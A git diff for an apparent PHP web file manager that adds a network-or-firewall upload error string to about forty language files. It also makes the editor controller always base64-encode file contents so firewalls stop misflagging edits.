diff --git a/config/i18n/ar/main.php b/config/i18n/ar/main.php
index 92a3dbe..271c8a7 100755
--- a/config/i18n/ar/main.php
+++ b/config/i18n/ar/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "الحد الأقصى المسموح به",
"upload_size_info" => "إذا كنت ترغب في تكوين المزيد، يرجى تعديل الحد الأقصى المسموح PHP.INI تحميل. عند تحديد ملف أكبر من هذا التكوين يتم تصفيتها تلقائيا.",
"upload_error" => "فشل تحميل",
+ "upload_error_http" => "فشلت بسبب الشبكة أو جدار الحماية تحميل!",
"upload_muti" => "تحميل متعددة ملف",
"upload_drag" => "سحب وإسقاط تحميل",
"upload_drag_tips" => "تخفيف لتحميل!",
diff --git a/config/i18n/bg/main.php b/config/i18n/bg/main.php
index 1658ab8..97f2348 100755
--- a/config/i18n/bg/main.php
+++ b/config/i18n/bg/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Максимално допустимото",
"upload_size_info" => "Ако искате да изберете повече, моля, променете php.ini максимално разрешено качване. Когато изберете даден файл по-голям от тази конфигурация автоматично ще филтрира.",
"upload_error" => "неуспешно качване",
+ "upload_error_http" => "Качването е неуспешно поради мрежа или защитна стена!",
"upload_muti" => "Multi-качване на файлове",
"upload_drag" => "Плъзгане и пускане на качване",
"upload_drag_tips" => "Разхлабете за качване!",
diff --git a/config/i18n/bn/main.php b/config/i18n/bn/main.php
index 967b066..d29295e 100755
--- a/config/i18n/bn/main.php
+++ b/config/i18n/bn/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "সর্বোচ্চ অনুমোদিত",
"upload_size_info" => "আপনি আরো কনফিগার করতে চান তাহলে, php.ini সর্বোচ্চ অনুমোদিত আপলোড সংশোধন দয়া করে. যখন আপনি নির্বাচন একটি ফাইল এই কনফিগারেশন চেয়ে বড় স্বয়ংক্রিয়ভাবে ফিল্টার আউট হবে.",
"upload_error" => "আপলোড ব্যর্থ",
+ "upload_error_http" => "আপলোড নেটওয়ার্ক বা ফায়ারওয়াল কারণে ব্যর্থ হয়েছে!",
"upload_muti" => "মাল্টি ফাইল আপলোড",
"upload_drag" => "টেনে আনুন এবং ড্রপ আপলোড",
"upload_drag_tips" => "আপলোড করার জন্য আলগা!",
diff --git a/config/i18n/ca/main.php b/config/i18n/ca/main.php
index e6f35ab..67f5139 100755
--- a/config/i18n/ca/main.php
+++ b/config/i18n/ca/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "El màxim permès",
"upload_size_info" => "Si voleu configurar més, si us plau modificar php.ini màxim de pujada permès. Quan se selecciona un arxiu més gran que aquesta configuració filtrarà automàticament.",
"upload_error" => "Error de pujada",
+ "upload_error_http" => "No s'ha pogut pujar a causa de la xarxa o tallafocs!",
"upload_muti" => "càrrega d'arxius múltiples",
"upload_drag" => "Arrossegar i deixar anar Càrrega",
"upload_drag_tips" => "Afluixi per pujar!",
diff --git a/config/i18n/cs/main.php b/config/i18n/cs/main.php
index 1200b54..ea2ce18 100755
--- a/config/i18n/cs/main.php
+++ b/config/i18n/cs/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Maximální povolená",
"upload_size_info" => "Chcete-li konfigurovat více, modifikovat php.ini maximální povolenou upload. Vyberete-li soubor větší než tato konfigurace automaticky vyfiltrovat.",
"upload_error" => "Nahrávání selhalo",
+ "upload_error_http" => "Nahrávání se nezdařilo kvůli problémům se sítí či firewall!",
"upload_muti" => "nahrávání více souborů",
"upload_drag" => "Drag and drop nahrávání",
"upload_drag_tips" => "Uvolněte nahrát!",
diff --git a/config/i18n/da/main.php b/config/i18n/da/main.php
index 2b45d4f..aba1730 100755
--- a/config/i18n/da/main.php
+++ b/config/i18n/da/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Den maksimalt tilladte",
"upload_size_info" => "Hvis du vil konfigurere mere, kan du ændre php.ini maksimalt tilladte upload. Når du vælger en fil større end denne konfiguration vil automatisk filtrere.",
"upload_error" => "Upload mislykkedes",
+ "upload_error_http" => "Upload mislykkedes på grund af netværk eller firewall!",
"upload_muti" => "Multi-upload",
"upload_drag" => "Træk og slip upload",
"upload_drag_tips" => "Løsn at uploade!",
diff --git a/config/i18n/de/main.php b/config/i18n/de/main.php
index 894c58c..770ef2f 100755
--- a/config/i18n/de/main.php
+++ b/config/i18n/de/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Die maximal zulässige",
"upload_size_info" => "Wenn Sie mehr konfigurieren möchten, ändern Sie bitte php.ini maximal zulässige Upload. Wenn Sie eine Datei größer als dieser Konfiguration auswählen, wird automatisch herausfiltern.",
"upload_error" => "Upload fehlgeschlagen",
+ "upload_error_http" => "Upload fehlgeschlagen aufgrund von Netzwerk oder eine Firewall!",
"upload_muti" => "Multi-Datei-Upload",
"upload_drag" => "Drag-and-Drop-Upload",
"upload_drag_tips" => "Lösen Sie hochladen!",
diff --git a/config/i18n/el/main.php b/config/i18n/el/main.php
index e16f190..1fd7f36 100755
--- a/config/i18n/el/main.php
+++ b/config/i18n/el/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Η μέγιστη επιτρεπόμενη",
"upload_size_info" => "Αν θέλετε να διαμορφώσετε περισσότερα, παρακαλούμε να τροποποιήσει php.ini ανώτατο επιτρεπόμενο όριο upload. Όταν επιλέγετε ένα αρχείο μεγαλύτερο από αυτήν τη ρύθμιση θα φιλτράρει αυτόματα.",
"upload_error" => "Η μεταφόρτωση απέτυχε",
+ "upload_error_http" => "Η μεταφόρτωση απέτυχε λόγω δικτύου ή firewall!",
"upload_muti" => "Μεταφόρτωση πολλαπλών αρχείων",
"upload_drag" => "Drag and drop μεταφόρτωσης",
"upload_drag_tips" => "Λύστε να ανεβάσετε!",
diff --git a/config/i18n/en/main.php b/config/i18n/en/main.php
index bfd48ea..b71e980 100755
--- a/config/i18n/en/main.php
+++ b/config/i18n/en/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Upload max size",
"upload_size_info" => "Please amend the maximum value allowed upload in php.ini. Greater than the configuration will be automatically filtered.",
"upload_error" => "Upload failed",
+ "upload_error_http" => "Network or firewall caused upload failed!",
"upload_muti" => "Multiple file upload",
"upload_drag" => "Drag and drop upload",
"upload_drag_tips" => "Release can be uploaded!",
diff --git a/config/i18n/es/main.php b/config/i18n/es/main.php
index 358d4fe..1aba15f 100755
--- a/config/i18n/es/main.php
+++ b/config/i18n/es/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "El máximo permitido",
"upload_size_info" => "Si desea configurar más, por favor modificar php.ini máximo de subida permitido. Cuando se selecciona un archivo más grande que esta configuración filtrará automáticamente.",
"upload_error" => "Error de subida",
+ "upload_error_http" => "No se pudo subir debido a la red o firewall!",
"upload_muti" => "carga de archivos múltiples",
"upload_drag" => "Arrastrar y soltar Carga",
"upload_drag_tips" => "Afloje para subir!",
diff --git a/config/i18n/et/main.php b/config/i18n/et/main.php
index 3600242..f37b2e6 100755
--- a/config/i18n/et/main.php
+++ b/config/i18n/et/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Maksimaalne lubatud",
"upload_size_info" => "Kui soovite konfigureerida rohkem, siis muuta php.ini maksimaalne lubatud üles laadida. Kui valite faili suurem kui selle konfiguratsiooni automaatselt välja filtreerida.",
"upload_error" => "üleslaadimine ebaõnnestus",
+ "upload_error_http" => "Üleslaadimine ebaõnnestus tõttu võrgu või tulemüüri!",
"upload_muti" => "Multi-faili üleslaadimise",
"upload_drag" => "Lohista upload",
"upload_drag_tips" => "Vabastage üles laadida!",
diff --git a/config/i18n/fa/main.php b/config/i18n/fa/main.php
index cc25d8c..2c34dd4 100755
--- a/config/i18n/fa/main.php
+++ b/config/i18n/fa/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "حداکثر مجاز",
"upload_size_info" => "اگر شما می خواهید برای پیکربندی بیشتر، لطفا تغییر حداکثر فایل php.ini آپلود مجاز. هنگامی که شما انتخاب یک فایل بزرگتر از این پیکربندی به طور خودکار فیلتر کردن.",
"upload_error" => "آپلود انجام نشد",
+ "upload_error_http" => "آپلود ناموفق بود با توجه به شبکه یا فایروال!",
"upload_muti" => "آپلود چند فایل",
"upload_drag" => "کشیدن و رها کردن آپلود",
"upload_drag_tips" => "شل برای آپلود!",
diff --git a/config/i18n/fi/main.php b/config/i18n/fi/main.php
index 68574cd..217bce4 100755
--- a/config/i18n/fi/main.php
+++ b/config/i18n/fi/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Suurin sallittu",
"upload_size_info" => "Jos haluat määrittää useampia, ota muokata php.ini suurin sallittu ladata. Kun valitset tiedoston suurempi kuin tämä kokoonpano suodattaa automaattisesti pois.",
"upload_error" => "Lähetys epäonnistui",
+ "upload_error_http" => "Lataus epäonnistui, koska ohjelma tai palomuuri!",
"upload_muti" => "Useiden tiedostojen lataaminen",
"upload_drag" => "Vedä ja pudota ladata",
"upload_drag_tips" => "Löysää ladata!",
diff --git a/config/i18n/fr/main.php b/config/i18n/fr/main.php
index 75e740e..2abf8b2 100755
--- a/config/i18n/fr/main.php
+++ b/config/i18n/fr/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Le maximum admissible",
"upload_size_info" => "Si vous souhaitez configurer plus, s'il vous plaît modifier php.ini maximale autorisée téléchargement. Lorsque vous sélectionnez un fichier plus grand que cette configuration sera automatiquement filtrer.",
"upload_error" => "Échec de l'envoi",
+ "upload_error_http" => "Téléchargement a échoué en raison de réseau ou pare-feu!",
"upload_muti" => "Multi-chargement de fichier",
"upload_drag" => "Drag and drop télécharger",
"upload_drag_tips" => "Desserrez à télécharger!",
diff --git a/config/i18n/gl/main.php b/config/i18n/gl/main.php
index 7405c5d..035a1fe 100755
--- a/config/i18n/gl/main.php
+++ b/config/i18n/gl/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "O máximo permitido",
"upload_size_info" => "Se quere configurar máis, por favor modifique máxima php.ini carga permitido. Cando vostede selecciona un arquivo grande que esta configuración pode filtrar automaticamente.",
"upload_error" => "A carga fallou",
+ "upload_error_http" => "Cargando fallou debido a rede ou firewall!",
"upload_muti" => "Subida de varios arquivos",
"upload_drag" => "Arrastrar e soltar de subida",
"upload_drag_tips" => "Solte para cargar!",
diff --git a/config/i18n/hi/main.php b/config/i18n/hi/main.php
index fe8f245..739624d 100755
--- a/config/i18n/hi/main.php
+++ b/config/i18n/hi/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "अधिकतम स्वीकार्य",
"upload_size_info" => "आप और अधिक विन्यस्त करने के लिए चाहते हैं, php.ini अधिकतम अनुमति प्रदान करें और संशोधित करें। जब आप का चयन एक फ़ाइल इस विन्यास से बड़ा स्वचालित रूप से बाहर फिल्टर होगा।",
"upload_error" => "अपलोड हुई",
+ "upload_error_http" => "अपलोड नेटवर्क या फ़ायरवॉल के कारण विफल रहा!",
"upload_muti" => "मल्टी फाइल अपलोड",
"upload_drag" => "खींचें और ड्रॉप अपलोड",
"upload_drag_tips" => "अपलोड करने के लिए ढीला!",
diff --git a/config/i18n/hr/main.php b/config/i18n/hr/main.php
index c48c275..03547e2 100755
--- a/config/i18n/hr/main.php
+++ b/config/i18n/hr/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Najveća dopuštena",
"upload_size_info" => "Ako želite konfigurirati više, mijenjati php.ini maksimalno dopušten prijenos. Kada odaberete datoteke veće od ovih konfiguracija će se automatski filtrirati.",
"upload_error" => "Prijenos nije uspio",
+ "upload_error_http" => "Prijenos nije uspio zbog mrežu ili firewall!",
"upload_muti" => "prijenos više datoteka",
"upload_drag" => "Povucite i ispustite prijenos",
"upload_drag_tips" => "Otpustite za upload!",
diff --git a/config/i18n/hu/main.php b/config/i18n/hu/main.php
index e84e97a..30fc2a2 100755
--- a/config/i18n/hu/main.php
+++ b/config/i18n/hu/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "A legnagyobb megengedhető",
"upload_size_info" => "Ha szeretne konfigurálni több, kérjük, módosítsa a php.ini maximális megengedett feltöltési. Ha kiválaszt egy fájlt ennél nagyobb konfiguráció automatikusan kiszűrni.",
"upload_error" => "sikertelen feltöltés",
+ "upload_error_http" => "Sikertelen feltöltés miatt a hálózati tűzfal vagy!",
"upload_muti" => "Multi-fájl feltöltése",
"upload_drag" => "Drag and drop feltöltési",
"upload_drag_tips" => "Lazítsa feltölteni!",
diff --git a/config/i18n/id/main.php b/config/i18n/id/main.php
index 475dce6..e4a02a2 100755
--- a/config/i18n/id/main.php
+++ b/config/i18n/id/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Maksimum yang diijinkan",
"upload_size_info" => "Jika Anda ingin mengkonfigurasi lebih lanjut, silakan memodifikasi php.ini maksimum yang diperbolehkan upload. Bila Anda memilih file yang lebih besar dari konfigurasi ini secara otomatis akan menyaring.",
"upload_error" => "Upload gagal",
+ "upload_error_http" => "Upload gagal karena jaringan atau firewall!",
"upload_muti" => "Upload multi-file",
"upload_drag" => "Drag dan drop meng-upload",
"upload_drag_tips" => "Kendurkan untuk meng-upload!",
diff --git a/config/i18n/it/main.php b/config/i18n/it/main.php
index ac8962d..4bb926e 100755
--- a/config/i18n/it/main.php
+++ b/config/i18n/it/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "La massima ammissibile",
"upload_size_info" => "Se si desidera configurare più, si prega di modificare massimo php.ini di upload consentita. Quando si seleziona un file più grande di questa configurazione verrà automaticamente filtrare.",
"upload_error" => "caricamento fallito",
+ "upload_error_http" => "Caricamento fallito a causa della rete o un firewall!",
"upload_muti" => "Carica di più file",
"upload_drag" => "Drag and drop di upload",
"upload_drag_tips" => "Allentare caricare!",
diff --git a/config/i18n/ja/main.php b/config/i18n/ja/main.php
index 1ab328d..14315d6 100755
--- a/config/i18n/ja/main.php
+++ b/config/i18n/ja/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "最大許容",
"upload_size_info" => "あなたがより多くを構成する場合は、php.iniの最大許容アップロードを変更してください。あなたが選択した場合、この設定よりも大きなファイルが自動的に除外します。",
"upload_error" => "アップロードに失敗しました",
+ "upload_error_http" => "アップロードは、ネットワークまたはファイアウォールが原因で失敗しました!",
"upload_muti" => "複数ファイルのアップロード",
"upload_drag" => "ドラッグ&ドロップアップロード",
"upload_drag_tips" => "アップロードする緩め!",
diff --git a/config/i18n/ko/main.php b/config/i18n/ko/main.php
index 7638c23..4354c3a 100755
--- a/config/i18n/ko/main.php
+++ b/config/i18n/ko/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "최대 허용",
"upload_size_info" => "당신이 더 구성 할 경우, php.ini의 최대 허용 업로드를 수정하시기 바랍니다. 당신이 선택하면이 구성보다 큰 파일이 자동으로 필터링됩니다.",
"upload_error" => "업로드 실패",
+ "upload_error_http" => "업로드는 네트워크 나 방화벽으로 인해 실패!",
"upload_muti" => "다중 파일 업로드",
"upload_drag" => "드래그 앤 드롭 업로드",
"upload_drag_tips" => "업로드 풉니 다!",
diff --git a/config/i18n/lt/main.php b/config/i18n/lt/main.php
index d03623b..295e2d8 100755
--- a/config/i18n/lt/main.php
+++ b/config/i18n/lt/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Didžiausia leistina",
"upload_size_info" => "Jei norite konfigūruoti daugiau, keisti php.ini maksimalų leidžiamą įkėlimą. Kai pasirenkate failą didesnis nei šios konfigūracijos automatiškai filtruoti.",
"upload_error" => "įkėlimas nepavyko",
+ "upload_error_http" => "Įkelti nepavyko dėl tinklo ar užkarda!",
"upload_muti" => "Multi-failų įkėlimo",
"upload_drag" => "Vilkite ir upuść įkelti",
"upload_drag_tips" => "Atlaisvinkite įkelti!",
diff --git a/config/i18n/nl/main.php b/config/i18n/nl/main.php
index 9e2d4dd..8d5c90f 100755
--- a/config/i18n/nl/main.php
+++ b/config/i18n/nl/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "De maximaal toegestane",
"upload_size_info" => "Als u meer wilt configureren, pas aub php.ini maximaal toegestane upload. Wanneer u een bestand groter is dan deze configuratie automatisch filteren.",
"upload_error" => "Upload mislukt",
+ "upload_error_http" => "Upload mislukt als gevolg van netwerkproblemen of firewall!",
"upload_muti" => "Multi-bestand uploaden",
"upload_drag" => "Slepen en neerzetten upload",
"upload_drag_tips" => "Draai om te uploaden!",
diff --git a/config/i18n/no/main.php b/config/i18n/no/main.php
index deb1dc9..c4043a7 100755
--- a/config/i18n/no/main.php
+++ b/config/i18n/no/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Den maksimalt tillatte",
"upload_size_info" => "Hvis du ønsker å konfigurere mer, kan du endre php.ini maksimal tillatt opplasting. Når du velger en fil som er større enn denne konfigurasjonen vil automatisk filtrere ut.",
"upload_error" => "opplasting feilet",
+ "upload_error_http" => "Last opp mislyktes på grunn av nettverk eller brannmur!",
"upload_muti" => "Multi-filopplasting",
"upload_drag" => "Dra og slipp opplasting",
"upload_drag_tips" => "Løsne å laste opp!",
diff --git a/config/i18n/pl/main.php b/config/i18n/pl/main.php
index 850e2ba..433f621 100755
--- a/config/i18n/pl/main.php
+++ b/config/i18n/pl/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Maksymalna dopuszczalna",
"upload_size_info" => "Jeśli chcesz skonfigurować więcej, proszę zmodyfikować php.ini maksymalną dozwoloną przesyłanie. Po wybraniu pliku większy niż tej konfiguracji automatycznie odfiltrować.",
"upload_error" => "przesyłanie nie powiodło się",
+ "upload_error_http" => "Przesyłanie nie powiodło się ze względu na sieć lub firewall!",
"upload_muti" => "przesyłanie wielu plików",
"upload_drag" => "Przeciągnij i upuść przesyłanie",
"upload_drag_tips" => "Odkręć załadować!",
diff --git a/config/i18n/pt/main.php b/config/i18n/pt/main.php
index 70d161a..de79830 100755
--- a/config/i18n/pt/main.php
+++ b/config/i18n/pt/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "O máximo permitido",
"upload_size_info" => "Se você quiser configurar mais, por favor modifique máxima php.ini carregamento permitido. Quando você seleciona um arquivo maior do que esta configuração irá filtrar automaticamente.",
"upload_error" => "O carregamento falhou",
+ "upload_error_http" => "Carregar falhou devido a rede ou firewall!",
"upload_muti" => "Upload de vários arquivos",
"upload_drag" => "Arrastar e soltar de upload",
"upload_drag_tips" => "Solte para carregar!",
diff --git a/config/i18n/ro/main.php b/config/i18n/ro/main.php
index e293ba6..ea0d2d7 100755
--- a/config/i18n/ro/main.php
+++ b/config/i18n/ro/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "maxim admisibil",
"upload_size_info" => "Dacă doriți ca să configurați mai multe, vă rugăm să modificați de încărcare php.ini maximă permisă. Atunci când selectați un fișier mai mare decât această configurație se va filtra automat.",
"upload_error" => "Încărcare eșuată",
+ "upload_error_http" => "Încărcarea a eșuat din cauza rețelei sau un firewall!",
"upload_muti" => "Încărcați mai multe fișiere",
"upload_drag" => "Drag and drop de încărcare",
"upload_drag_tips" => "Slăbiți pentru a încărca!",
diff --git a/config/i18n/ru/main.php b/config/i18n/ru/main.php
index 2834ea3..7bd4d67 100755
--- a/config/i18n/ru/main.php
+++ b/config/i18n/ru/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Максимально допустимая",
"upload_size_info" => "Если вы хотите настроить больше, пожалуйста, изменить php.ini максимально допустимую загрузку. При выборе файла больше этой конфигурации будет автоматически отфильтровать.",
"upload_error" => "Сбой при загрузке",
+ "upload_error_http" => "Сбой при загрузке из-за сеть или брандмауэр!",
"upload_muti" => "Загрузка нескольких файлов",
"upload_drag" => "Перетащите загрузки",
"upload_drag_tips" => "Ослабить загрузить!",
diff --git a/config/i18n/si/main.php b/config/i18n/si/main.php
index 858eb2c..5b88594 100755
--- a/config/i18n/si/main.php
+++ b/config/i18n/si/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "උපරිම සීමාව",
"upload_size_info" => "ඔබට වඩා මාන කිරීම සඳහා අවශ්ය නම්, php.ini උපරිම උඩුගත වෙනස් කරන්න. ඔබ මෙම සැකසුම ස්වයංක්රීයව ඉවත් කරන ඇත වඩා විශාල ගොනුවක් තෝරන්න විට.",
"upload_error" => "උඩුගත කිරීම අසාර්ථක",
+ "upload_error_http" => "උඩුගත නිසා ජාල හෝ ෆයර්වෝල් කිරීමට අසාර්ථක විය!",
"upload_muti" => "බහු-ගොනු උඩුගත",
"upload_drag" => "උඩුගත drag and drop",
"upload_drag_tips" => "උඩුගත කිරීමට ලිහිල්!",
diff --git a/config/i18n/sk/main.php b/config/i18n/sk/main.php
index ab27329..52c7ca9 100755
--- a/config/i18n/sk/main.php
+++ b/config/i18n/sk/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Maximálna povolená",
"upload_size_info" => "Ak chcete konfigurovať viac, modifikovať php.ini maximálnu povolenú upload. Ak vyberiete súbor väčší ako táto konfigurácia automaticky vyfiltrovať.",
"upload_error" => "nahrávanie zlyhalo",
+ "upload_error_http" => "Nahrávanie zlyhalo kvôli problémom so sieťou či firewall!",
"upload_muti" => "nahrávanie viac súborov",
"upload_drag" => "Drag and drop nahrávania",
"upload_drag_tips" => "Uvoľnite nahrať!",
diff --git a/config/i18n/sl/main.php b/config/i18n/sl/main.php
index cd9b4d1..62cf206 100755
--- a/config/i18n/sl/main.php
+++ b/config/i18n/sl/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Največja dovoljena",
"upload_size_info" => "Če želite nastaviti, prosim spremenite php.ini največjo dovoljeno nalaganje. Ko izberete bo datoteka večja od te konfiguracije avtomatsko izločijo.",
"upload_error" => "Nalaganje ni uspelo",
+ "upload_error_http" => "Pošiljanje ni uspelo zaradi omrežja ali požarnega zidu!",
"upload_muti" => "upload Multi-file",
"upload_drag" => "Povleci in spusti prenos",
"upload_drag_tips" => "Ublažijo naložiti!",
diff --git a/config/i18n/sr/main.php b/config/i18n/sr/main.php
index f314ccc..1402d70 100755
--- a/config/i18n/sr/main.php
+++ b/config/i18n/sr/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Максимална дозвољена",
"upload_size_info" => "Ако желите да подесите више, молим измените у пхп.ини максималну дозвољену уплоад. Када изаберете фајл већи од ове конфигурације ће аутоматски филтрирати.",
"upload_error" => "Уплоад фаилед",
+ "upload_error_http" => "Учитавање није успјело због мрежи или фиревалл!",
"upload_muti" => "Мулти-филе уплоад",
"upload_drag" => "Драг анд дроп отпремање",
"upload_drag_tips" => "Отпустите за уплоад!",
diff --git a/config/i18n/sv/main.php b/config/i18n/sv/main.php
index f782d4c..060505f 100755
--- a/config/i18n/sv/main.php
+++ b/config/i18n/sv/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Den högsta tillåtna",
"upload_size_info" => "Om du vill konfigurera mer, modifiera php.ini högsta tillåtna uppladdning. När du väljer en fil som är större än denna konfiguration kommer automatiskt att filtrera ut.",
"upload_error" => "Överföringen misslyckades",
+ "upload_error_http" => "Ladda upp misslyckades på grund av nätverk eller brandvägg!",
"upload_muti" => "Multi-filuppladdning",
"upload_drag" => "Dra och släpp uppladdning",
"upload_drag_tips" => "Lossa att ladda upp!",
diff --git a/config/i18n/ta/main.php b/config/i18n/ta/main.php
index dc00f3a..4161a90 100755
--- a/config/i18n/ta/main.php
+++ b/config/i18n/ta/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "அதிகபட்ச அனுமதிக்கப்பட்ட",
"upload_size_info" => "நீங்கள் இன்னும் கட்டமைக்க விரும்பினால், php.ini அனுமதிக்கப்பட்ட அதிகபட்ச பதிவேற்ற மாற்றவும். நீங்கள் தேர்வு செய்யும் போது இந்த கட்டமைப்பு விட பெரிய ஒரு கோப்பு தானாக வெளியே வடிகட்ட வேண்டும்.",
"upload_error" => "மேலேற்றப்படவில்லை",
+ "upload_error_http" => "பதிவேற்றம் நெட்வொர்க் அல்லது தீச்சுவர் காரணமாக தோல்வி!",
"upload_muti" => "பல கோப்பு பதிவேற்ற",
"upload_drag" => "இழுத்தல் மற்றும் பதிவேற்ற",
"upload_drag_tips" => "பதிவேற்ற தளர்த்தப்பட்டது!",
diff --git a/config/i18n/th/main.php b/config/i18n/th/main.php
index 97d72ff..21c6c29 100755
--- a/config/i18n/th/main.php
+++ b/config/i18n/th/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "สูงสุดที่อนุญาต",
"upload_size_info" => "หากคุณต้องการที่จะกำหนดค่าเพิ่มเติมกรุณาแก้ไข php.ini สูงสุดอัปโหลดได้รับอนุญาต เมื่อคุณเลือกไฟล์ที่มีขนาดใหญ่กว่าการกำหนดค่านี้จะกรองออกโดยอัตโนมัติ",
"upload_error" => "อัพโหลดล้มเหลว",
+ "upload_error_http" => "อัปโหลดล้มเหลวเนื่องจากเครือข่ายหรือไฟร์วอลล์!",
"upload_muti" => "อัปโหลดหลายไฟล์",
"upload_drag" => "ลากและวางการอัปโหลด",
"upload_drag_tips" => "คลายอัปโหลด!",
diff --git a/config/i18n/tr/main.php b/config/i18n/tr/main.php
index 17aa37e..f90eb94 100755
--- a/config/i18n/tr/main.php
+++ b/config/i18n/tr/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "izin verilen maksimum",
"upload_size_info" => "Daha fazla yapılandırmak istiyorsanız, php.ini izin verilen maksimum yükleme değiştirin lütfen. seçtiğinizde Bu yapılandırmada daha büyük bir dosya otomatik olarak süzer.",
"upload_error" => "yükleme başarısız oldu",
+ "upload_error_http" => "Yükleme ağ veya güvenlik duvarı nedeniyle başarısız oldu!",
"upload_muti" => "Çoklu dosya yükleme",
"upload_drag" => "Sürükle ve bırak yükleme",
"upload_drag_tips" => "yüklemek için gevşetin!",
diff --git a/config/i18n/uk/main.php b/config/i18n/uk/main.php
index fc741bc..541fd64 100755
--- a/config/i18n/uk/main.php
+++ b/config/i18n/uk/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "максимально допустима",
"upload_size_info" => "Якщо ви хочете налаштувати більше, будь ласка, змінити php.ini максимально допустиму завантаження. При виборі файлу більше цієї конфігурації буде автоматично відфільтрувати.",
"upload_error" => "Збій при завантаженні",
+ "upload_error_http" => "Збій при завантаженні через мережу або брандмауер!",
"upload_muti" => "Завантаження декількох файлів",
"upload_drag" => "перетягніть завантаження",
"upload_drag_tips" => "Послабити завантажити!",
diff --git a/config/i18n/uz/main.php b/config/i18n/uz/main.php
index e801be8..f7db4c2 100755
--- a/config/i18n/uz/main.php
+++ b/config/i18n/uz/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "maksimal ruxsat etilgan",
"upload_size_info" => "Agar ko'proq modernizatsiya qilish uchun bo'lsangiz, php.ini maksimal ruxsat upload o'zgartirish iltimos. Agar tanlash, bu konfiguratsion kattaroq bir fayl avtomatik ravishda filtri bo'ladi.",
"upload_error" => "Yuklab bo'lmadi",
+ "upload_error_http" => "Yuklab olish tarmoq yoki xavfsizlik devorining tufayli muvaffaqiyatsiz tugadi!",
"upload_muti" => "Bir nechta fayl yuklash",
"upload_drag" => "Drag va tomchi yuklash",
"upload_drag_tips" => "upload azobga kiritinglar!",
diff --git a/config/i18n/vi/main.php b/config/i18n/vi/main.php
index 624a436..011b4f2 100755
--- a/config/i18n/vi/main.php
+++ b/config/i18n/vi/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "Các tối đa cho phép",
"upload_size_info" => "Nếu bạn muốn cấu hình thêm, vui lòng sửa đổi tối đa php.ini cho phép tải lên. Khi bạn chọn một tập tin lớn hơn cấu hình này sẽ tự động lọc ra.",
"upload_error" => "không thể tải lên",
+ "upload_error_http" => "Tải lên thất bại do mạng hay tường lửa!",
"upload_muti" => "upload nhiều file",
"upload_drag" => "Kéo và thả tải lên",
"upload_drag_tips" => "Nới lỏng để tải lên!",
diff --git a/config/i18n/zh-CN/main.php b/config/i18n/zh-CN/main.php
index 6c3d31d..134d193 100755
--- a/config/i18n/zh-CN/main.php
+++ b/config/i18n/zh-CN/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "最大允许",
"upload_size_info" => "如果想配置更大,请修改php.ini中允许上传的最大值。选择文件时,大于该配置的将自动过滤掉。",
"upload_error" => "上传失败",
+ "upload_error_http" => "网络或防火墙导致上传失败!",
"upload_muti" => "多文件上传",
"upload_drag" => "拖拽上传",
"upload_drag_tips" => "松开即可上传!",
diff --git a/config/i18n/zh-TW/main.php b/config/i18n/zh-TW/main.php
index 0c93b52..1f3f45e 100755
--- a/config/i18n/zh-TW/main.php
+++ b/config/i18n/zh-TW/main.php
@@ -421,6 +421,7 @@ return array(
"upload_max_size" => "最大允許",
"upload_size_info" => "如果想設定更大,請修改php.ini中允許上傳的最大值。選擇檔時,大於該設定的將自動過濾掉。",
"upload_error" => "上傳失敗",
+ "upload_error_http" => "網絡或防火牆導致上傳失敗!",
"upload_muti" => "多檔上傳",
"upload_drag" => "拖拽上傳",
"upload_drag_tips" => "鬆開即可上傳!",
diff --git a/controller/editor.class.php b/controller/editor.class.php
index b4333e6..c08c09c 100755
--- a/controller/editor.class.php
+++ b/controller/editor.class.php
@@ -78,11 +78,11 @@ class editor extends Controller{
'base64' => false,
'content' => $filecontents
);
- if(!json_encode(array("data"=>$filecontents))){
+ // 部分防火墙编辑文件误判问题处理
+ //if(!json_encode(array("data"=>$filecontents))){
$data['content'] = base64_encode($filecontents);
$data['base64'] = true;
- }
- //unset($data['content']);
+ //}
show_json($data);
}
public function fileSave(){
diff --git a/controller/user.class.php b/controller/user.class.php
index 5c5f86e..78d676e 100755
